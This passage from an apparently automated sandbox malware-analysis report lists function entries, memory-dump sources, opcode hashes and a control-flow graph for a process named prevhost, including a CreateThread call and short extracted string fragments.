                                • Opcode ID: 8716070dce392685c16c1281e560963e47c849285e39fd61262d186f626a6df2
                                • Instruction ID: 6532b0997a6a24d3f18501e60b8363f079dd25dbe5510591f4f422370e3c8c8c
                                • Opcode Fuzzy Hash: 8716070dce392685c16c1281e560963e47c849285e39fd61262d186f626a6df2
                                • Instruction Fuzzy Hash: D890026260150042654071584C044066005DBE2305395C155A1595561C8718D96A9269
                                Function 04BE4340 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: d5946daae606e982bbc142a4be14fd533a9365a399086db706c9981011665db5
                                • Instruction ID: 94716ceec6348edfea0e516ca4304fcef12c421b57907a20bc23d9bed927a5f0
                                • Opcode Fuzzy Hash: d5946daae606e982bbc142a4be14fd533a9365a399086db706c9981011665db5
                                • Instruction Fuzzy Hash: F190023260580012B54071584C845464005DBE1305B55C051E1465555C8B14DA6B5361
                                Function 04BE2CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 99597994f4aaa39fddc112a4eb60735f30817b610fc539743316ca4eda053095
                                • Instruction ID: d33a5a07e47feaf3d6e6c247a3ca93585ce28010b92ae51a8a3bb22fba6cfe79
                                • Opcode Fuzzy Hash: 99597994f4aaa39fddc112a4eb60735f30817b610fc539743316ca4eda053095
                                • Instruction Fuzzy Hash: 7990023220140402F500759858086460005CBE1305F55D051A6065556EC765D9A66131
                                Function 04BE2C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 35aa5fabdd72cbbdeca88952d7044904b5cce4aed087b5b6eea07d66fbfa0b88
                                • Instruction ID: badf601c450191a523f55df7af997ed080ec96ef198f4796cd107f1301965b5c
                                • Opcode Fuzzy Hash: 35aa5fabdd72cbbdeca88952d7044904b5cce4aed087b5b6eea07d66fbfa0b88
                                • Instruction Fuzzy Hash: 5090023220148802F5107158880474A0005CBD1305F59C451A5465659D8795D9A67121
                                Function 04BE2C60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: a9a630b9a8b94484cb61c5029f6a04a65b8bfe03bcef6aac527d34aacd4333c2
                                • Instruction ID: 017f298708a33aedb0a38611d14e90f14acad86febe1757b3e20406b28416f9f
                                • Opcode Fuzzy Hash: a9a630b9a8b94484cb61c5029f6a04a65b8bfe03bcef6aac527d34aacd4333c2
                                • Instruction Fuzzy Hash: 9F90023220140842F50071584804B460005CBE1305F55C056A1165655D8715D9667521
                                Function 04BE2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: d1864ec73cbc18bb2e33f6489553622b2f15edbcb9745ac9bc8d2ff6b5e11169
                                • Instruction ID: 74471d5b1d97f95eec91f485a1280bb7cdba6cac6d5b25f0d0aa9cfe2446816b
                                • Opcode Fuzzy Hash: d1864ec73cbc18bb2e33f6489553622b2f15edbcb9745ac9bc8d2ff6b5e11169
                                • Instruction Fuzzy Hash: 1D90023220140413F511715849047070009CBD1245F95C452A1465559D9756DA67A121
                                Function 04BE2DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 66dc53e065ad05fb5508f1b6b74a1b38bb33767b9fee678e456e8fa124861558
                                • Instruction ID: 8f2b3852601b03d5f5eb0ef13adabd1f8d913325fb3d9a370ee0c4ef787662c4
                                • Opcode Fuzzy Hash: 66dc53e065ad05fb5508f1b6b74a1b38bb33767b9fee678e456e8fa124861558
                                • Instruction Fuzzy Hash: A0900222242441527945B15848045074006DBE1245795C052A2455951C8726E96BD621
                                Function 04BE2D30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: ad4a5a72f0089b44d47578bccb98b15c657bbc8ea7d3c1402bf503784469646f
                                • Instruction ID: a0d1409ca0c78c26e638384e4be8cd251127d70327efade93553d22d3e204312
                                • Opcode Fuzzy Hash: ad4a5a72f0089b44d47578bccb98b15c657bbc8ea7d3c1402bf503784469646f
                                • Instruction Fuzzy Hash: C990022230140003F540715858186064005DBE2305F55D051E1455555CDB15D96B5222
                                Function 04BE2D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 6c2aa838263ce1e14539daa788904f242c4de2107b29ebd8560d437fb27b8c33
                                • Instruction ID: 50ca226d2b48148b8f6805642298a355455e6f35831236e7ed797b5a49814752
                                • Opcode Fuzzy Hash: 6c2aa838263ce1e14539daa788904f242c4de2107b29ebd8560d437fb27b8c33
                                • Instruction Fuzzy Hash: 5A90022A21340002F5807158580860A0005CBD2206F95D455A1056559CCB15D97E5321
                                Function 04BE2E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 2178c907353f95172ee2bef1930cd9881724d88984d6adb552a0fbe1f4c45484
                                • Instruction ID: 8420a41542b0bea2a2720e6ec715ba108931a835c36025125eac1dbd38efa23a
                                • Opcode Fuzzy Hash: 2178c907353f95172ee2bef1930cd9881724d88984d6adb552a0fbe1f4c45484
                                • Instruction Fuzzy Hash: 5B90022260140502F50171584804616000ACBD1245F95C062A2065556ECB25DAA7A131
                                Function 04BE2EE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 6db378db695f73f4c0d9540ffb82c33c9e1791145264932ac39e1da9e6c125da
                                • Instruction ID: cb49876837eef875a47ddf3aa3ea5e93931a320a59b16c7996ea9dc11f9b4eff
                                • Opcode Fuzzy Hash: 6db378db695f73f4c0d9540ffb82c33c9e1791145264932ac39e1da9e6c125da
                                • Instruction Fuzzy Hash: A290026220180403F54075584C046070005CBD1306F55C051A30A5556E8B29DD666135
                                Function 04BE2FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 27f3bd50d5d48279800c508a565659eded271ab1830f2f7b89dc6e5e6c2ce9d3
                                • Instruction ID: 096a3d0fd98b12fc8d9355637a1b2aa6559dd780b4f21bb927c3696bfbc86317
                                • Opcode Fuzzy Hash: 27f3bd50d5d48279800c508a565659eded271ab1830f2f7b89dc6e5e6c2ce9d3
                                • Instruction Fuzzy Hash: B890022260140042654071688C449064005EFE2215755C161A19D9551D8759D97A5665
                                Function 04BE2FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: bc1ce1c87a9e74d03403c9f653ca9c3c4c82fbf08c61c5f85021570f5c9725c4
                                • Instruction ID: b3e301a5e9a2e669c7ebe2969ecebb5125fa67a13f06956389e936228e467c5d
                                • Opcode Fuzzy Hash: bc1ce1c87a9e74d03403c9f653ca9c3c4c82fbf08c61c5f85021570f5c9725c4
                                • Instruction Fuzzy Hash: 62900222211C0042F60075684C14B070005CBD1307F55C155A1195555CCB15D9765521
                                Function 04BE2F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: c37db3e554914c16521678d8180e1600740356219e687aa5199cee76bf2b1781
                                • Instruction ID: ac91ce1fcef7c4c46085a1d0f6ca90830b35d7eeb2676d2709c8900f0139ea04
                                • Opcode Fuzzy Hash: c37db3e554914c16521678d8180e1600740356219e687aa5199cee76bf2b1781
                                • Instruction Fuzzy Hash: F290026234140442F50071584814B060005CBE2305F55C055E20A5555D8719DD676126
                                Function 04BE39B0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: ad405a7cbc1b0ab9a7f6700f4c727e55feeb8126100d08c09b43a0cc410a5e69
                                • Instruction ID: 523df90e5a0083344b5408466bec9b0af2aa3fde7f7147cac39af9f490c3000a
                                • Opcode Fuzzy Hash: ad405a7cbc1b0ab9a7f6700f4c727e55feeb8126100d08c09b43a0cc410a5e69
                                • Instruction Fuzzy Hash: DF90022224545102F550715C48046164005EBE1205F55C061A1855595D8755D96A6221
                                Function 04BE2AF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: cc653820151411b46c8b69e24b1007703bc9775116d5064b864d4cbc71a877be
                                • Instruction ID: ae5552f2a026f5c3a0804df33fc2d87b390524b3d0ec92532eea04153bfa9bba
                                • Opcode Fuzzy Hash: cc653820151411b46c8b69e24b1007703bc9775116d5064b864d4cbc71a877be
                                • Instruction Fuzzy Hash: C5900226221400022545B5580A0450B0445DBD7355395C055F2457591CC721D97A5321
                                Function 04BE2AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 625fbbe7db1b63bada74a27b0c66ba562831706bc352870ad72f70cd6bb161ee
                                • Instruction ID: c44315f86db36b314fb73421933a1d5e40684dd3b43aaacad43169c17800fad5
                                • Opcode Fuzzy Hash: 625fbbe7db1b63bada74a27b0c66ba562831706bc352870ad72f70cd6bb161ee
                                • Instruction Fuzzy Hash: 7F900226211400032505B5580B045070046CBD6355355C061F2056551CD721D9765121
                                Function 04BE2BA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 97b40ff772153bf91debe9bcf1e9cf6faa3ec0f53546a18276730ca2e691c14e
                                • Instruction ID: 400ba70ece850dc435afb46b92c08f3121cd17ad3e67b699218169cf5944708f
                                • Opcode Fuzzy Hash: 97b40ff772153bf91debe9bcf1e9cf6faa3ec0f53546a18276730ca2e691c14e
                                • Instruction Fuzzy Hash: B390023260540802F550715848147460005CBD1305F55C051A1065655D8755DB6A76A1
                                Function 04BE2BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: ddb0fc2a3de2356ac88410f631c6e56b3dc823d6d12f07c213983ba51aa02345
                                • Instruction ID: 63b93a5bdf034998e2e413331d34f9f1cd8c2d1704fce231a7e920ba17d9dc80
                                • Opcode Fuzzy Hash: ddb0fc2a3de2356ac88410f631c6e56b3dc823d6d12f07c213983ba51aa02345
                                • Instruction Fuzzy Hash: 7190023220140802F5807158480464A0005CBD2305F95C055A1066655DCB15DB6E77A1
                                Function 04BE2BE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: b548b5e405b7dcacab06b94ae9a08980d99a477ac876d51d9eae10a13cc9f1ea
                                • Instruction ID: 31890959508b701c5ef15f2344ee89d4de659e78559f0b04e1d7b5d473578069
                                • Opcode Fuzzy Hash: b548b5e405b7dcacab06b94ae9a08980d99a477ac876d51d9eae10a13cc9f1ea
                                • Instruction Fuzzy Hash: F090023220544842F54071584804A460015CBD1309F55C051A10A5695D9725DE6AB661
                                Function 04BE2B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 6b505747d2f05731b01ed537ec61f6305acd407872af8c37ef034737ed2030e7
                                • Instruction ID: 08bd7e8d5bc25c41004ebd46ed28e6d032dd8eab80c35d6c47f3e60902b1ff85
                                • Opcode Fuzzy Hash: 6b505747d2f05731b01ed537ec61f6305acd407872af8c37ef034737ed2030e7
                                • Instruction Fuzzy Hash: 5790026220240003650571584814616400ACBE1205B55C061E2055591DC725D9A66125
                                Function 00AE9F87 Relevance: 59.7, APIs: 1, Strings: 33, Instructions: 187threadCOMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 0 ae9f87-ae9f89 1 ae9f2e-ae9f61 call ae1410 call b02460 0->1 2 ae9f8c-aea413 0->2 18 ae9f63-ae9f7f call b0d387 CreateThread 1->18 19 ae9f80-ae9f85 1->19 6 aea41d-aea427 2->6 8 aea429-aea448 6->8 9 aea473-aea47d 6->9 12 aea45a-aea46b 8->12 13 aea44a-aea458 8->13 11 aea48e-aea49a 9->11 16 aea49c-aea4a8 11->16 17 aea4aa-aea4b1 11->17 15 aea471 12->15 13->15 15->6 16->11 20 aea4d8-aea4e9 17->20 21 aea4b3-aea4d6 17->21 23 aea4fa-aea506 20->23 21->17 25 aea51c-aea526 23->25 26 aea508-aea51a 23->26 28 aea537-aea540 25->28 26->23 30 aea556-aea567 28->30 31 aea542-aea554 28->31 32 aea578-aea584 30->32 31->28 34 aea586-aea58f 32->34 35 aea591-aea5aa 32->35 34->32 35->35 36 aea5ac-aea5b6 35->36 38 aea5c7-aea5d0 36->38 39 aea5e7-aea5f1 38->39 40 aea5d2-aea5e5 38->40 42 aea602-aea60e 39->42 40->38 43 aea624 42->43 44 aea610-aea622 42->44 46 aea62b-aea635 43->46 44->42 47 aea66e-aea678 46->47 48 aea637-aea652 46->48 51 aea689-aea692 47->51 49 aea659-aea65b 48->49 50 aea654-aea658 48->50 52 aea66c 49->52 53 aea65d-aea666 49->53 50->49 54 aea6a8-aea6b1 51->54 55 aea694-aea6a6 51->55 52->46 53->52 56 aea84b-aea852 54->56 57 aea6b7-aea6c1 54->57 55->51 60 aea88b-aea892 56->60 61 aea854-aea86f 56->61 59 aea6d2-aea6db 57->59 64 aea6dd-aea6e7 59->64 65 aea6e9-aea6f3 59->65 62 aea8c7-aea8d1 60->62 63 aea894 call b0ba20 60->63 66 aea876-aea878 61->66 67 aea871-aea875 61->67 73 aea8e2-aea8ee 62->73 74 aea899-aea8a2 63->74 64->59 72 aea704-aea710 65->72 68 aea87a-aea883 66->68 69 aea889 66->69 67->66 68->69 69->56 75 aea712-aea71e 72->75 76 aea720-aea724 72->76 77 aea904-aea90b 73->77 78 aea8f0-aea902 73->78 74->62 79 aea8a4-aea8c5 74->79 75->72 82 aea73f-aea749 76->82 83 aea726-aea73d 76->83 84 aea94c-aea956 77->84 85 aea90d-aea94a 77->85 78->73 79->74 86 aea75a-aea766 82->86 83->76 87 aea967-aea970 84->87 85->77 90 aea768-aea775 86->90 91 aea777-aea78f 86->91 88 aea986-aea990 87->88 89 aea972-aea984 87->89 95 aea9a1-aea9aa 88->95 89->87 90->86 93 aea7cd-aea7d1 91->93 94 aea791-aea79b 91->94 100 aea7ff-aea809 93->100 101 aea7d3-aea7fd 93->101 97 aea7ac-aea7b8 94->97 98 aea9ac-aea9bf 95->98 99 aea9c1-aea9cb 95->99 102 aea7ba-aea7c9 97->102 103 aea7cb 97->103 98->95 105 aea81a-aea826 100->105 101->93 102->97 103->56 107 aea83c-aea846 105->107 108 aea828-aea83a 105->108 107->54 108->105
                                APIs
                                • CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 00AE9F75
                                Strings
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: CreateThread
                                • String ID: i$"5$"Z$&$*$+#$/$1h$2@$6b$B$Bs$E-$FK$G$KA$M$OE$Tg$^$`$e$lU$o{$q)$ta$w$y$y$ys$z$z$~
                                • API String ID: 2422867632-2173029791
                                • Opcode ID: f9adba898f2e025fd1fbc51fd95658a4118f1565295996f1ee99691fcb5234e4
                                • Instruction ID: 3faad7eaa5cf4823ca27a398f32b5161db38dbf878f63ea43270f64381d4d9cf
                                • Opcode Fuzzy Hash: f9adba898f2e025fd1fbc51fd95658a4118f1565295996f1ee99691fcb5234e4
                                • Instruction Fuzzy Hash: B2C179B0D09769CBFB608F45C9587DEBAB5BB45308F1081D9D15C2B280CBFA1A88CF95
                                Function 00B04100 Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 250COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
